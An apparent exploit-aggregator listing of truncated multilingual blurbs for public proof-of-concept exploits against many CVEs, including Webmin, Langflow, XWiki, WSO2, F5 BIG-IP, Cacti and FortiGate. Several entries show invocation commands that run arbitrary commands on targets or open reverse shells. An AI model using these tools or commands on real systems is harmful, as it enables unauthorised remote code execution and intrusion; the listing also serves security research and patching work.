LayarKacaSiber-CVE-2021-41773

CVE-2021-41773 - Apache HTTP Server 2.4.49 Как запустить лабораторию CVE-2021-41773-Path Traversal 1. Установите и запустите Docker на вашем ПК/ноутбуке 2. Клонируйте этот github репозиторий 3. Перейдите в папку Path Traversal 4. Введите следующие команды docker build -t...

CVE-2019-15107

CVE-2019-15107 Этот репозиторий содержит небольшой скрипт на bash для эксплуатации CVE-2019-15107 без использования metasploit. Использование предельно простое: достаточно скачать и запустить, без зависимостей. root@kitploit: root@kali: ./webmin-CVE-2019-15107.sh 10.10.73.185 'uname -a' Error -...

react2shell-rce-autobot

🔍 React2Shell Dork Scanner 🚨 О уязвимости React2Shell — это критическая уязвимость Remote Code Execution RCE , затрагивающая: Цель| Уязвимые версии ---|--- ⚛️ react-server-dom-webpack| 19.0.0, 19.1.0, 19.1.1, 19.2.0 ⚛️ react-server-dom-turbopack| 19.0.0, 19.1.0, 19.1.1, 19.2.0 ⚛️...

CVE-2026-33017-Exploit

Fireflow RCE 漏洞利用 通过 buildpublictmp 端点在 Langflow 上实现远程代码执行。 通过公共流程构建端点利用漏洞，在目标上执行反向 Shell。 需求 Python 3.8+ httpx 库 安装： root@kitploit: pip install httpx 使用方法 root@kitploit: python exploit.py -u -l -p --flow-id --client-id 参数 -u, --url : Langflow 实例的基础 URL（例如 https://flow.example.com/） -l, --lhost :...

CVE-2025-24893-PoC

CVE-2025-24893 - XWiki Удаленное выполнение кода RCE Обновленный эксплойт proof-of-concept PoC для CVE-2025-24893 , критической уязвимости RCE без аутентификации в XWiki. Эта версия улучшает оригинал, позволяя выполнение произвольных команд оболочки и чистую инъекцию обратной оболочки. Автор:...

pfBlockerNg-CVE-2022-40624

pfBlockerNg-CVE-2022-40624 Contexte pfBlockerNG est la nouvelle génération de pfBlocker avec les fonctionnalités suivantes : 1. Gérer les sources de listes IPv4/v6 dans les formats 'Deny, Permit ou Match'. 2. Base de données GeoIP par MaxMind Inc. version gratuite GeoLite2. 3. Améliorations de...

CVE-2024-4040

Code d'exploitation pour CVE-2024-4040 Aperçu Ce code d'exploitation cible la vulnérabilité CVE-2024-4040, permettant un accès non autorisé aux comptes utilisateurs en lisant et en validant les jetons stockés dans le fichier « sessions.obj ». Si les jetons sont valides, les pirates peuvent accéde...

CVE-2023-33669

Эксплойт CVE-2023-33669 Эксплойт для уязвимости переполнения стека в маршрутизаторе Tenda AC8, нацеленный конкретно на версию прошивки USAC8V4.0siV16.03.34.06. Официальная страница продукта. Эмуляция Вы можете поместить файл 'prepare.sh' в корневой каталог прошивки и выполнить его. Также для RCE...

CVE-2023-45878

CVE-2023-45878 이 스크립트는 https://herolab.usd.de/security-advisories/usd-2023-0025/ 의 연구 결과를 기반으로 작성했습니다. 이 익스플로잇은 Gibbon LMS 25.0.1의 임의 파일 쓰기Arbitrary File Write 취약점을 이용합니다. 이 PoC는 간단한 php 명령 스크립트를 업로드한 다음 이를 사용하여 PowerShell 리버스 셸을 로드합니다. root@kitploit: python3 CVE-2023-45878.py -u...

CVE-2022-1329

CVE-2022-1329 Le plugin Elementor Website Builder pour WordPress est vulnérable à l'exécution non autorisée de plusieurs actions AJAX en raison d'un contrôle de capacité manquant dans le fichier /core/app/modules/onboarding/module.php, ce qui permet à des attaquants de modifier les données du sit...

CVE-2025-55182

CVE-2025-55182 — React2Shell: продвинутый эксплойт и исследование магистерской диссертации -brightred Небезопасная десериализация + загрязнение прототипа в React Server Components Неаутентифицированное удаленное выполнение кода через Server Actions Next.js Затрагивает: React 19.0.0 - 19.2.0 ·...

CVE-2022-29464

WSO2 RCE CVE-2022-29464 эксплойт и описание. Подробности CVE-2022-29464 — это серьезная уязвимость в WSO2. Уязвимость представляет собой несанкционированную, неограниченную загрузку произвольных файлов, что позволяет неавторизованным пользователям загружать вредоносные JSP-файлы на серверы WSO2 и...

CVE-2022-1388

CVE-2022-1388 익스플로잇 CVE 2022-1388을 위한 익스플로잇 및 확인 스크립트 사용법 단일 호스트 URL 확인 root@kitploit: python3 exploit.py -v true -u targeturl 호스트를 공격하고 명령을 실행하려면 root@kitploit: python3 exploit.py -a true -u targeturl -c command 호스트 목록 또는 호스트 URL IP가 포함된 파일을 이용한 공격 root@kitploit: python3 exploit.py -s true -f fi...

text4shell-cve-2022-42889

Text4Shell CVE-2022-42889 Docker Lab для CVE-2022-42889 Вы можете либо собрать Docker-образ локально, либо загрузить образ из Docker Hub и запустить контейнер. Клонирование репозитория root@kitploit: git clone https://github.com/devenes/text4shell-cve-2022-42889.git Сборка Docker-образа локально...

CVE-2022-31199

CVE-2022-31199 - Эксплойты RCE для Netwrix Auditor POC 🔍 Обзор уязвимости CVE-2022-31199 — это критическая уязвимость небезопасной десериализации объектов в Netwrix Auditor версиях до 10.5. Уязвимость существует в незащищённом сервисе .NET Remoting, прослушивающем TCP-порт 9004, что позволяет...

CVE-2022-46169_poc

CVE-2022-46169 удаленное выполнение кода без аутентификации Описание Обход аутентификации: проверка авторизации на основе имени хоста реализована небезопасно для большинства установок Cacti Инъекция команд: несанитизированный пользовательский ввод передается в строку, используемую для выполнения...

CVE-Exploitation-Reports

CVE-Exploitation-Reports CVE 익스플로잇 보고서: CVE-2007-3280, CVE-2017-0144, CVE-2019-0708 이 저장소는 다음과 같은 CVECommon Vulnerabilities and Exposures에 대한 상세한 익스플로잇 보고서를 포함하고 있습니다: CVE-2007-3280: RealPlayer ActiveX 컨트롤의 버퍼 오버플로우 취약점으로, 원격 공격자가 조작된 URL을 통해 임의의 코드를 실행할 수 있습니다. CVE-2017-0144: EternalBlue 익스플로잇과...

Mass-CVE-2025-3248

Outil d'exploitation CVE-2025-3248 pour Langflow Aperçu Cet outil exploite la vulnérabilité critique d'exécution de code à distance RCE CVE-2025-3248 présente dans les versions de Langflow antérieures à 1.3.0. La vulnérabilité se trouve dans le point de terminaison /api/v1/validate/code qui exécu...

CVE-2023-48849

CVE-2023-48849 Прошивка Ruijie EG Series Routers версии =EG3.01B11P216 позволяет неаутентифицированным злоумышленникам удаленно выполнять произвольный код из-за некорректной фильтрации. root@kitploit: $ python3 poc.py 192.168.1.1 'id' uid=0root gid=0root $ python3 poc.py 192.168.1.1 'grep TARGET...

CVE-2023-27997

CVE-2023-27997 Данный код эксплуатирует FortiGate VM64 7.2.0. обратите внимание, что код написан очень глупым способом. Доказательство концепции root@kitploit: $ python3 exploit.py 192.168.106.142 10443 192.168.106.143 9999 + generating shellcode + salt=b'25c2dcf2' + processing hash + finding has...